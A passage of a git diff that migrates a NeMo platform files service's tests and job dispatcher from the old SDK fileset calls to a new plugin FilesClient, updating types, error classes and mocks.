+1187,7 @@ async def test_put_file(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: result = await fs._cat_file(remote_path) assert result == content - async def test_put_file_nested_path(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + async def test_put_file_nested_path(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test uploading a file to a nested path with _put_file.""" # Create a local file local_file = tmp_path / "nested_upload.txt" @@ -1204,7 +1206,7 @@ async def test_put_file_nested_path(self, fs: FilesetFileSystem, fileset: Filese parent_info = await fs._info(f"{fileset.workspace}/{fileset.name}/subdir/nested") assert parent_info["type"] == "directory" - async def test_rm_file(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_rm_file(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test deleting a file.""" path = f"{fileset.workspace}/{fileset.name}/to_delete.txt" await fs._pipe_file(path, b"delete me") @@ -1217,7 +1219,7 @@ async def test_rm_file(self, fs: FilesetFileSystem, fileset: Fileset): with pytest.raises(FileNotFoundError): await fs._info(path) - async def test_info(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_info(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test getting file info.""" content = b"Content for info test" path = f"{fileset.workspace}/{fileset.name}/info.txt" @@ -1231,14 +1233,14 @@ async def test_info(self, fs: FilesetFileSystem, fileset: Fileset): assert info["size"] == len(content) assert info["type"] == "file" - async def test_info_directory(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_info_directory(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test getting info for fileset root (directory).""" path = f"{fileset.workspace}/{fileset.name}" info = await fs._info(path) assert info["type"] == "directory" - async def test_protocol_url(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_protocol_url(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test that protocol prefix is handled correctly.""" content = b"Protocol test" base = f"{fileset.workspace}/{fileset.name}" @@ -1251,7 +1253,7 @@ async def test_protocol_url(self, fs: FilesetFileSystem, fileset: Fileset): assert await fs._cat_file(path_no_proto) == content assert await fs._cat_file(path_with_proto) == content - async def test_find(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_find(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test recursive file discovery with find (async).""" base = f"{fileset.workspace}/{fileset.name}" await fs._pipe_file(f"{base}/root.txt", b"root") @@ -1268,7 +1270,7 @@ async def test_find(self, fs: FilesetFileSystem, fileset: Fileset): assert f"{base}#dir1/file1.txt" in result assert f"{base}#dir1/subdir/nested.txt" in result - async def test_glob(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_glob(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test pattern matching with glob (async).""" base = f"{fileset.workspace}/{fileset.name}" await fs._pipe_file(f"{base}/data.csv", b"csv") @@ -1289,7 +1291,7 @@ async def test_glob(self, fs: FilesetFileSystem, fileset: Fileset): # All json files including nested assert len(json_all) == 3 - async def test_isdir_isfile(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_isdir_isfile(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test isdir and isfile type checking (async).""" base = f"{fileset.workspace}/{fileset.name}" await fs._pipe_file(f"{base}/file.txt", b"content") @@ -1305,7 +1307,7 @@ async def test_isdir_isfile(self, fs: FilesetFileSystem, fileset: Fileset): # Subdirectory checks assert await fs._isdir(f"{base}/subdir") - async def test_cat_multiple_files(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_cat_multiple_files(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading multiple files at once with cat (async).""" base = f"{fileset.workspace}/{fileset.name}" await fs._pipe_file(f"{base}/file1.txt", b"content1") @@ -1321,7 +1323,7 @@ async def test_cat_multiple_files(self, fs: FilesetFileSystem, fileset: Fileset) assert result[f"{base}#file2.txt"] == b"content2" assert result[f"{base}#file3.txt"] == b"content3" - async def test_head_tail(self, fs: FilesetFileSystem, fileset: Fileset): + async def test_head_tail(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Test reading first/last bytes of a file (async).""" content = b"0123456789ABCDEFGHIJ" path = f"{fileset.workspace}/{fileset.name}/test.txt" @@ -1335,7 +1337,7 @@ async def test_head_tail(self, fs: FilesetFileSystem, fileset: Fileset): result = await fs._cat_file(path, start=15, end=20) assert result == b"FGHIJ" - async def test_get_single_file(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + async def test_get_single_file(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test downloading a single file with _get() (async version). Tests three behaviors: @@ -1370,7 +1372,7 @@ async def test_get_single_file(self, fs: FilesetFileSystem, fileset: Fileset, tm async def test_download_entire_fileset( self, fs: FilesetFileSystem, - fileset: Fileset, + fileset: FilesetOutput, sample_dataset: Path, tmp_path: Path, ): @@ -1426,7 +1428,9 @@ async def test_download_entire_fileset( assert (download_without_slash / "config" / "settings.json").read_bytes() == b'{"batch_size": 32}' assert not (download_without_slash / fileset.name).exists() - async def test_concurrent_download_failure_hang(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + async def test_concurrent_download_failure_hang( + self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path + ): """Test that a failure in one concurrent download doesn't cause a hang. This reproduces an issue where orphaned asyncio tasks from failed concurrent @@ -1461,7 +1465,7 @@ async def failing_get_file(rpath, lpath, **kwargs): # If we get here without hanging, the test passes - async def test_concurrent_upload_failure_hang(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + async def test_concurrent_upload_failure_hang(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test that a failure in one concurrent upload doesn't cause a hang. Similar to test_concurrent_download_failure_hang, this ensures that the @@ -1494,7 +1498,7 @@ async def failing_put_file(lpath, rpath, **kwargs): # If we get here without hanging, the test passes - async def test_batch_size_limits_concurrency(self, sdk: NeMoPlatform, fileset: Fileset, tmp_path: Path): + async def test_batch_size_limits_concurrency(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path: Path): """Test that batch_size properly limits concurrent operations. Creates a filesystem with batch_size=4, then downloads 8 files and verifies @@ -1505,7 +1509,7 @@ async def test_batch_size_limits_concurrency(self, sdk: NeMoPlatform, fileset: F total_files = 8 # Create filesystem with limited concurrency - fs = FilesetFileSystem(sdk=sdk, batch_size=batch_size) + fs = FilesetFileSystem(client=client_from_platform(sdk, FilesClient), batch_size=batch_size) # Upload files base = f"{fileset.workspace}/{fileset.name}" @@ -1560,7 +1564,7 @@ async def run_download(): downloaded_files = list(download_dir.iterdir()) assert len(downloaded_files) == total_files - async def test_get_callback_hooks(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + async def test_get_callback_hooks(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test that _get properly calls callback hooks for progress tracking. This test demonstrates two callback features: @@ -1622,7 +1626,7 @@ def progress_hook(size, value, **kwargs): assert (download_dir / "file2.txt").read_bytes() == b"content2" assert (download_dir / "file3.txt").read_bytes() == b"content3" - async def test_get_per_chunk_callbacks(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + async def test_get_per_chunk_callbacks(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test that _get passes branched callbacks to _get_file for per-chunk progress. This test verifies the full callback hierarchy: @@ -1711,7 +1715,7 @@ def relative_update(self, inc=1): # Verify file was actually downloaded correctly assert (download_dir / "large_file.bin").read_bytes() == large_content - async def test_put_per_chunk_callbacks(self, fs: FilesetFileSystem, fileset: Fileset, tmp_path: Path): + async def test_put_per_chunk_callbacks(self, fs: FilesetFileSystem, fileset: FilesetOutput, tmp_path: Path): """Test that _put passes branched callbacks to _put_file for per-chunk progress. This test verifies the full callback hierarchy for uploads: @@ -1812,7 +1816,7 @@ class TestDuckDBIntegration: protocol registry and creates it automatically. """ - def test_duckdb_parquet_query(self, sdk: NeMoPlatform, fileset: Fileset): + def test_duckdb_parquet_query(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test querying a parquet file with DuckDB via fileset:// protocol.""" # Create test data df = pd.DataFrame( @@ -1859,7 +1863,7 @@ def test_duckdb_parquet_query(self, sdk: NeMoPlatform, fileset: Fileset): assert len(result) == 2 assert set(result["category"]) == {"A", "B"} - def test_duckdb_parquet_range_read(self, sdk: NeMoPlatform, fileset: Fileset): + def test_duckdb_parquet_range_read(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test that DuckDB performs efficient range reads on parquet files. Parquet files store metadata at the end (footer), so DuckDB reads: @@ -1901,7 +1905,7 @@ def test_duckdb_parquet_range_read(self, sdk: NeMoPlatform, fileset: Fileset): assert list(result["id"]) == list(range(100, 111)) assert list(result["value"]) == [float(i) for i in range(100, 111)] - def test_duckdb_legacy_path_format(self, sdk: NeMoPlatform, fileset: Fileset): + def test_duckdb_legacy_path_format(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test DuckDB queries using legacy workspace/fileset/path format. This validates backwards compatibility with the legacy path format @@ -1950,7 +1954,7 @@ def fs(self, sdk: NeMoPlatform) -> FilesetFileSystem: """Create a FilesetFileSystem backed by the test SDK.""" return sdk.files.fsspec - def test_ls_populates_cache_for_nested_dirs(self, fs: FilesetFileSystem, fileset: Fileset): + def test_ls_populates_cache_for_nested_dirs(self, fs: FilesetFileSystem, fileset: FilesetOutput): """_ls should populate cache for all directory levels in the response.""" base = f"{fileset.workspace}/{fileset.name}" @@ -1969,7 +1973,7 @@ def test_ls_populates_cache_for_nested_dirs(self, fs: FilesetFileSystem, fileset assert f"{base}#subdir" in fs.dircache assert f"{base}#subdir/nested" in fs.dircache - def test_deeply_nested_tree(self, fs: FilesetFileSystem, fileset: Fileset): + def test_deeply_nested_tree(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Cache should handle deeply nested directory structures.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2003,7 +2007,7 @@ def test_deeply_nested_tree(self, fs: FilesetFileSystem, fileset: Fileset): info = fs.info(f"{base}/a/b/c/mid.txt") assert info["type"] == "file" - def test_nested_ls_uses_cache(self, fs: FilesetFileSystem, fileset: Fileset): + def test_nested_ls_uses_cache(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Subsequent _ls calls for nested paths should use cache.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2028,7 +2032,7 @@ def test_nested_ls_uses_cache(self, fs: FilesetFileSystem, fileset: Fileset): # Nested ls used cache, didn't add new entries assert after_nested_ls == after_root_ls - def test_find_populates_cache(self, fs: FilesetFileSystem, fileset: Fileset): + def test_find_populates_cache(self, fs: FilesetFileSystem, fileset: FilesetOutput): """_find should populate cache for subsequent _ls calls.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2046,7 +2050,7 @@ def test_find_populates_cache(self, fs: FilesetFileSystem, fileset: Fileset): assert base in fs.dircache assert f"{base}#subdir" in fs.dircache - def test_info_uses_cache(self, fs: FilesetFileSystem, fileset: Fileset): + def test_info_uses_cache(self, fs: FilesetFileSystem, fileset: FilesetOutput): """_info should use dircache instead of making API calls.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2069,7 +2073,7 @@ def test_info_uses_cache(self, fs: FilesetFileSystem, fileset: Fileset): assert info["type"] == "file" assert info["size"] == len(b"content") - def test_cache_invalidation_on_write(self, fs: FilesetFileSystem, fileset: Fileset): + def test_cache_invalidation_on_write(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Cache should be invalidated when files are written.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2089,7 +2093,7 @@ def test_cache_invalidation_on_write(self, fs: FilesetFileSystem, fileset: Files assert f"{base}#file1.txt" in result assert f"{base}#file2.txt" in result - def test_cache_invalidation_on_delete(self, fs: FilesetFileSystem, fileset: Fileset): + def test_cache_invalidation_on_delete(self, fs: FilesetFileSystem, fileset: FilesetOutput): """Cache should be invalidated when files are deleted.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2110,7 +2114,7 @@ def test_cache_invalidation_on_delete(self, fs: FilesetFileSystem, fileset: File assert f"{base}#file1.txt" not in result assert f"{base}#file2.txt" in result - def test_refresh_bypasses_cache(self, fs: FilesetFileSystem, fileset: Fileset): + def test_refresh_bypasses_cache(self, fs: FilesetFileSystem, fileset: FilesetOutput): """_ls with refresh=True should bypass cache.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2125,7 +2129,7 @@ def test_refresh_bypasses_cache(self, fs: FilesetFileSystem, fileset: Fileset): result = fs.ls(base, refresh=True) assert len(result) == 1 - def test_info_file_not_found(self, fs: FilesetFileSystem, fileset: Fileset): + def test_info_file_not_found(self, fs: FilesetFileSystem, fileset: FilesetOutput): """_info should raise FileNotFoundError for non-existent paths.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2138,7 +2142,7 @@ def test_info_file_not_found(self, fs: FilesetFileSystem, fileset: Fileset): fs.info(f"{base}/nonexistent.txt") @pytest.mark.parametrize("detail", [True, False]) - def test_ls_detail_parameter(self, fs: FilesetFileSystem, fileset: Fileset, detail: bool): + def test_ls_detail_parameter(self, fs: FilesetFileSystem, fileset: FilesetOutput, detail: bool): """_ls should respect the detail parameter.""" base = f"{fileset.workspace}/{fileset.name}" @@ -2154,10 +2158,10 @@ def test_ls_detail_parameter(self, fs: FilesetFileSystem, fileset: Fileset, deta else: assert all(isinstance(item, str) for item in result) - def test_cache_disabled(self, sdk: NeMoPlatform, fileset: Fileset): + def test_cache_disabled(self, sdk: NeMoPlatform, fileset: FilesetOutput): """When use_listings_cache=False, cache should not be used.""" # Create filesystem with cache disabled - fs = FilesetFileSystem(sdk=sdk) + fs = FilesetFileSystem(client=client_from_platform(sdk, FilesClient)) fs.dircache.use_listings_cache = False base = f"{fileset.workspace}/{fileset.name}" diff --git a/services/core/files/tests/integration/test_filesets_allowed_hosts.py b/services/core/files/tests/integration/test_filesets_allowed_hosts.py index 6d5f2c10db..49e63d6ae3 100644 --- a/services/core/files/tests/integration/test_filesets_allowed_hosts.py +++ b/services/core/files/tests/integration/test_filesets_allowed_hosts.py @@ -7,7 +7,11 @@ from collections.abc import Iterator import pytest -from nemo_platform import APIStatusError, NeMoPlatform +from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NemoHTTPError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.common.auth import AuthClient, get_auth_client from nmp.common.auth.models import Principal from nmp.common.config import AuthConfig, Configuration @@ -69,18 +73,20 @@ def test_create_ngc_fileset_with_disallowed_host_rejected( sdk.secrets.create(workspace=DEFAULT_WORKSPACE, name=secret_name, value="nvapi-dummy") try: name = f"ngc-disallowed-{uuid.uuid4().hex[:8]}" - with pytest.raises(APIStatusError) as exc_info: - sdk.files.filesets.create( + with pytest.raises(NemoHTTPError) as exc_info: + client_from_platform(sdk, FilesClient).create_fileset( workspace=DEFAULT_WORKSPACE, - name=name, - storage={ - "type": "ngc", - "host": "https://disallowed.example.com", - "org": "nvidia", - "team": "team", - "target": "some-resource", - "api_key_secret": f"{DEFAULT_WORKSPACE}/{secret_name}", - }, + body=CreateFilesetRequest( + name=name, + storage={ + "type": "ngc", + "host": "https://disallowed.example.com", + "org": "nvidia", + "team": "team", + "target": "some-resource", + "api_key_secret": f"{DEFAULT_WORKSPACE}/{secret_name}", + }, + ), ) assert exc_info.value.status_code == 400 detail = str(exc_info.value).lower() @@ -100,15 +106,17 @@ def test_create_huggingface_fileset_with_disallowed_endpoint_rejected( """Creating a HuggingFace fileset with endpoint outside allowed_external_hosts returns 400.""" sdk = sdk_with_restrictive_hosts name = f"hf-disallowed-{uuid.uuid4().hex[:8]}" - with pytest.raises(APIStatusError) as exc_info: - sdk.files.filesets.create( + with pytest.raises(NemoHTTPError) as exc_info: + client_from_platform(sdk, FilesClient).create_fileset( workspace=DEFAULT_WORKSPACE, - name=name, - storage={ - "type": "huggingface", - "repo_id": "some-org/some-repo", - "endpoint": "https://disallowed.example.com", - }, + body=CreateFilesetRequest( + name=name, + storage={ + "type": "huggingface", + "repo_id": "some-org/some-repo", + "endpoint": "https://disallowed.example.com", + }, + ), ) assert exc_info.value.status_code == 400 detail = str(exc_info.value).lower() diff --git a/services/core/files/tests/integration/test_huggingface_endpoints.py b/services/core/files/tests/integration/test_huggingface_endpoints.py index c2bbb68aa9..8a1c33b387 100644 --- a/services/core/files/tests/integration/test_huggingface_endpoints.py +++ b/services/core/files/tests/integration/test_huggingface_endpoints.py @@ -13,14 +13,14 @@ import httpx from huggingface_hub import HfApi, hf_hub_download, hf_hub_url, snapshot_download from nemo_platform import NeMoPlatform -from nemo_platform.types.files.fileset import Fileset +from nemo_platform_plugin.files.types import FilesetOutput from nmp.core.files.testing.utils import create_fileset class TestHuggingFaceClientLibrary: """Test HuggingFace Hub client library compatibility with the files service.""" - def test_hf_hub_download_nested_files(self, sdk: NeMoPlatform, fileset: Fileset, tmp_path, hf_asgi_client): + def test_hf_hub_download_nested_files(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path, hf_asgi_client): """Test downloading nested files using huggingface_hub client. This test: @@ -68,7 +68,7 @@ def test_hf_hub_download_nested_files(self, sdk: NeMoPlatform, fileset: Fileset, assert downloaded_file.exists(), f"File {path} was not downloaded" assert downloaded_file.read_bytes() == expected_content, f"Content mismatch for {path}" - def test_hf_hub_download_single_file(self, sdk: NeMoPlatform, fileset: Fileset, tmp_path, hf_asgi_client): + def test_hf_hub_download_single_file(self, sdk: NeMoPlatform, fileset: FilesetOutput, tmp_path, hf_asgi_client): """Test downloading a single file using hf_hub_download.""" test_content = b"This is a test file for single download" test_path = "single_file.txt" @@ -95,7 +95,7 @@ def test_hf_hub_download_single_file(self, sdk: NeMoPlatform, fileset: Fileset, with open(local_path, "rb") as f: assert f.read() == test_content - def test_hf_api_list_repo_files(self, sdk: NeMoPlatform, fileset: Fileset, hf_asgi_client): + def test_hf_api_list_repo_files(self, sdk: NeMoPlatform, fileset: FilesetOutput, hf_asgi_client): """Test listing repository files using HfApi.""" test_files = { "file1.txt": b"content1", @@ -122,7 +122,7 @@ def test_hf_api_list_repo_files(self, sdk: NeMoPlatform, fileset: Fileset, hf_as listed_files = {sibling.rfilename for sibling in repo_info.siblings} assert listed_files == set(test_files.keys()) - def test_hf_hub_url_generates_valid_download_url(self, sdk: NeMoPlatform, fileset: Fileset): + def test_hf_hub_url_generates_valid_download_url(self, sdk: NeMoPlatform, fileset: FilesetOutput): """Test that hf_hub_url generates a valid URL for file download. This test verifies that: diff --git a/services/core/files/tests/integration/test_otlp_endpoints.py b/services/core/files/tests/integration/test_otlp_endpoints.py index ef07b427d6..2252bc5934 100644 --- a/services/core/files/tests/integration/test_otlp_endpoints.py +++ b/services/core/files/tests/integration/test_otlp_endpoints.py @@ -14,7 +14,7 @@ import httpx import pytest -from nemo_platform.types.files.fileset import Fileset +from nemo_platform_plugin.files.types import FilesetOutput from opentelemetry.proto.collector.logs.v1 import logs_service_pb2 @@ -155,7 +155,7 @@ def create_request( def test_upload_and_query_logs_roundtrip( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, otlp_request_factory, otlp_format: str, ): @@ -197,7 +197,7 @@ def test_upload_and_query_logs_roundtrip( def test_query_logs_with_filters( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, otlp_request_factory, otlp_format: str, ): @@ -241,7 +241,7 @@ def test_query_logs_with_filters( def test_query_logs_pagination( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, otlp_request_factory, otlp_format: str, ): @@ -308,7 +308,7 @@ def test_query_logs_pagination( def test_multiple_batches_same_partition( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, otlp_request_factory, otlp_format: str, ): @@ -360,7 +360,7 @@ def test_multiple_batches_same_partition( def test_query_empty_fileset( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, ): """Test querying a fileset with no logs returns empty result.""" workspace = fileset.workspace @@ -380,7 +380,7 @@ def test_query_empty_fileset( def test_upload_logs_missing_attributes_partial_success( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, ): """Test that logs with missing required attributes are rejected (JSON format).""" workspace = fileset.workspace @@ -454,7 +454,7 @@ def test_upload_logs_missing_attributes_partial_success( def test_upload_logs_invalid_json( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, ): """Test that invalid JSON returns 400 error.""" workspace = fileset.workspace @@ -471,7 +471,7 @@ def test_upload_logs_invalid_json( def test_upload_logs_invalid_protobuf( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, ): """Test that invalid protobuf returns 400 error.""" workspace = fileset.workspace @@ -522,7 +522,7 @@ def test_upload_logs_nonexistent_fileset( def test_query_logs_invalid_filter_key_returns_400( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, ): """Test invalid filter key is rejected with a 400 response.""" workspace = fileset.workspace @@ -539,7 +539,7 @@ def test_query_logs_invalid_filter_key_returns_400( def test_query_logs_invalid_partition_value_does_not_leak_internal_details( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, ): """Test invalid partition filter input does not leak internal details.""" workspace = fileset.workspace @@ -559,7 +559,7 @@ def test_query_logs_invalid_partition_value_does_not_leak_internal_details( def test_query_logs_invalid_partition_value_returns_400( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, ): """Test unsafe partition filter values are rejected before query execution.""" workspace = fileset.workspace @@ -576,7 +576,7 @@ def test_query_logs_invalid_partition_value_returns_400( def test_query_logs_log_message_allows_apostrophe( client: httpx.Client, - fileset: Fileset, + fileset: FilesetOutput, ): """Test log_message filter remains usable for normal text with apostrophes.""" workspace = fileset.workspace diff --git a/services/core/files/tests/integration/tests_filesets_with_auth_secrets.py b/services/core/files/tests/integration/tests_filesets_with_auth_secrets.py index 0d9739435f..626bb342af 100644 --- a/services/core/files/tests/integration/tests_filesets_with_auth_secrets.py +++ b/services/core/files/tests/integration/tests_filesets_with_auth_secrets.py @@ -8,7 +8,11 @@ from unittest.mock import patch import pytest -from nemo_platform import APIStatusError, NeMoPlatform +from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NemoHTTPError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.core.auth.app.bundle import ( build_authorization_data as _real_build_authorization_data, ) @@ -106,17 +110,20 @@ def test_editor_can_create_hf_fileset_with_token_secret( ) editor_sdk = as_user(sdk, editor_email) - created = editor_sdk.files.filesets.create( + files = client_from_platform(editor_sdk, FilesClient) + created = files.create_fileset( workspace=workspace, - name=fileset_name, - description="hf fileset", - storage={ - "type": "huggingface", - "repo_id": "Qwen/Qwen3-0.6B", - "repo_type": "model", - "token_secret": secret_name, - }, - ) + body=CreateFilesetRequest( + name=fileset_name, + description="hf fileset", + storage={ + "type": "huggingface", + "repo_id": "Qwen/Qwen3-0.6B", + "repo_type": "model", + "token_secret": secret_name, + }, + ), + ).data() assert created.name == fileset_name assert created.storage.type == "huggingface" @@ -142,17 +149,20 @@ def test_custom_role_without_secrets_read_denied_with_token_secret( ) user_sdk = as_user(sdk, user_email) - with pytest.raises(APIStatusError) as exc_info: - user_sdk.files.filesets.create( + user_files = client_from_platform(user_sdk, FilesClient) + with pytest.raises(NemoHTTPError) as exc_info: + user_files.create_fileset( workspace=workspace, - name=short_unique_name("fileset"), - description="should fail", - storage={ - "type": "huggingface", - "repo_id": "Qwen/Qwen3-0.6B", - "repo_type": "model", - "token_secret": secret_name, - }, + body=CreateFilesetRequest( + name=short_unique_name("fileset"), + description="should fail", + storage={ + "type": "huggingface", + "repo_id": "Qwen/Qwen3-0.6B", + "repo_type": "model", + "token_secret": secret_name, + }, + ), ) assert exc_info.value.status_code == 400 @@ -176,17 +186,20 @@ def test_missing_secret_returns_secret_not_found_error( ) editor_sdk = as_user(sdk, editor_email) - with pytest.raises(APIStatusError) as exc_info: - editor_sdk.files.filesets.create( + editor_files = client_from_platform(editor_sdk, FilesClient) + with pytest.raises(NemoHTTPError) as exc_info: + editor_files.create_fileset( workspace=workspace, - name=short_unique_name("fileset"), - description="missing secret", - storage={ - "type": "huggingface", - "repo_id": "Qwen/Qwen3-0.6B", - "repo_type": "model", - "token_secret": "does-not-exist", - }, + body=CreateFilesetRequest( + name=short_unique_name("fileset"), + description="missing secret", + storage={ + "type": "huggingface", + "repo_id": "Qwen/Qwen3-0.6B", + "repo_type": "model", + "token_secret": "does-not-exist", + }, + ), ) assert exc_info.value.status_code == 400 @@ -211,17 +224,20 @@ def test_public_hf_without_token_secret_succeeds( ) editor_sdk = as_user(sdk, editor_email) - created = editor_sdk.files.filesets.create( + editor_files = client_from_platform(editor_sdk, FilesClient) + created = editor_files.create_fileset( workspace=workspace, - name=fileset_name, - description="no token", - storage={ - "type": "huggingface", - "repo_id": "Qwen/Qwen3-0.6B", - "repo_type": "model", - # no token_secret - }, - ) + body=CreateFilesetRequest( + name=fileset_name, + description="no token", + storage={ + "type": "huggingface", + "repo_id": "Qwen/Qwen3-0.6B", + "repo_type": "model", + # no token_secret + }, + ), + ).data() assert created.name == fileset_name assert created.storage.type == "huggingface" @@ -253,16 +269,19 @@ async def _list_files_noop(self, path=None): ) editor_sdk = as_user(sdk, editor_email) - editor_sdk.files.filesets.create( + editor_files = client_from_platform(editor_sdk, FilesClient) + editor_files.create_fileset( workspace=workspace, - name=fileset_name, - description="hf fileset read test", - storage={ - "type": "huggingface", - "repo_id": "Qwen/Qwen3-0.6B", - "repo_type": "model", - "token_secret": secret_name, - }, + body=CreateFilesetRequest( + name=fileset_name, + description="hf fileset read test", + storage={ + "type": "huggingface", + "repo_id": "Qwen/Qwen3-0.6B", + "repo_type": "model", + "token_secret": secret_name, + }, + ), ) files = editor_sdk.files.list(fileset=fileset_name, workspace=workspace) diff --git a/services/core/jobs/src/nmp/core/jobs/app/dispatcher.py b/services/core/jobs/src/nmp/core/jobs/app/dispatcher.py index e2b6fd09f0..a8417c0a48 100644 --- a/services/core/jobs/src/nmp/core/jobs/app/dispatcher.py +++ b/services/core/jobs/src/nmp/core/jobs/app/dispatcher.py @@ -7,6 +7,10 @@ from typing import Any, Dict, List, Optional, Tuple from nemo_platform import AsyncNeMoPlatform, NotFoundError, PermissionDeniedError +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError +from nemo_platform_plugin.files.client import AsyncFilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.common.api.filter import ComparisonOperation, FilterOperation, FilterOperator, LogicalOperation from nmp.common.api.in_memory_filter import InMemoryFilterRepository from nmp.common.api.parsed_filter import ParsedFilter @@ -258,10 +262,12 @@ async def create_job( job_name = f"{source_prefix}-{short_id}" # Create a fileset to store job artifacts - fileset = await self.sdk.files.filesets.create( + files = client_from_platform(self.sdk, AsyncFilesClient) + fileset_resp = await files.create_fileset( + body=CreateFilesetRequest(name=f"job-fileset-{job_name}"), workspace=workspace, - name=f"job-fileset-{job_name}", ) + fileset = fileset_resp.data() # Create job (ID is assigned by entity store) job = await self.store.create( @@ -451,8 +457,9 @@ async def delete_job(self, job_name: str, workspace: str) -> bool: # Delete job fileset via sdk to properly clean up storage. # Tolerate fileset already being gone (e.g. cleaned up by workspace cleanup). try: - await self.sdk.files.filesets.delete(job_entity.fileset, workspace=workspace) - except NotFoundError: + files = client_from_platform(self.sdk, AsyncFilesClient) + await files.delete_fileset(name=job_entity.fileset, workspace=workspace) + except FilesNotFoundError: logger.warning("Job fileset not found during deletion, may have been cleaned up already", extra=extras) logger.info( diff --git a/services/core/jobs/tests/conftest.py b/services/core/jobs/tests/conftest.py index 03dbfbbbc4..dc36f6da96 100644 --- a/services/core/jobs/tests/conftest.py +++ b/services/core/jobs/tests/conftest.py @@ -5,7 +5,7 @@ import tempfile from pathlib import Path from typing import AsyncGenerator -from unittest.mock import AsyncMock, MagicMock +from unittest.mock import AsyncMock, MagicMock, patch import pytest import pytest_asyncio @@ -243,7 +243,20 @@ def sample_job_dict(): @fixture -def mock_nmp_client(): +def _mock_files_client(): + """Create a mock AsyncFilesClient for testing.""" + mock_files = AsyncMock() + mock_fileset = MagicMock() + mock_fileset.name = "test-fileset-id" + mock_response = MagicMock() + mock_response.data.return_value = mock_fileset + mock_files.create_fileset.return_value = mock_response + mock_files.delete_fileset.return_value = None + return mock_files + + +@fixture +def mock_nmp_client(_mock_files_client): """Create a flexible mock of NeMoPlatform for testing.""" mock_client = MagicMock() @@ -257,17 +270,8 @@ def mock_nmp_client(): mock_client.jobs.steps.retrieve = MagicMock() mock_client.jobs.steps.update_status = MagicMock() - # Mock filesets API for log storage - mock_client.files = MagicMock() - mock_client.files.filesets = MagicMock() - mock_client.files.filesets.create = AsyncMock() - mock_client.files.filesets.delete = AsyncMock() - # Return a mock fileset object with an id - mock_fileset = MagicMock() - mock_fileset.name = "test-fileset-id" - mock_client.files.filesets.create.return_value = mock_fileset - - return mock_client + with patch("nmp.core.jobs.app.dispatcher.client_from_platform", return_value=_mock_files_client): + yield mock_client @fixture diff --git a/services/core/jobs/tests/test_dispatcher.py b/services/core/jobs/tests/test_dispatcher.py index 9dc1511eb2..0e46800685 100644 --- a/services/core/jobs/tests/test_dispatcher.py +++ b/services/core/jobs/tests/test_dispatcher.py @@ -8,7 +8,7 @@ """ import json -from unittest.mock import patch +from unittest.mock import AsyncMock, patch import pytest from nmp.common.api.filter import ComparisonOperation, FilterOperator, LogicalOperation, parse_json_filter @@ -192,15 +192,16 @@ async def test_delete_job_missing_fileset_succeeds(mock_dispatcher: JobDispatche """ from unittest.mock import AsyncMock - from nemo_platform import NotFoundError + from 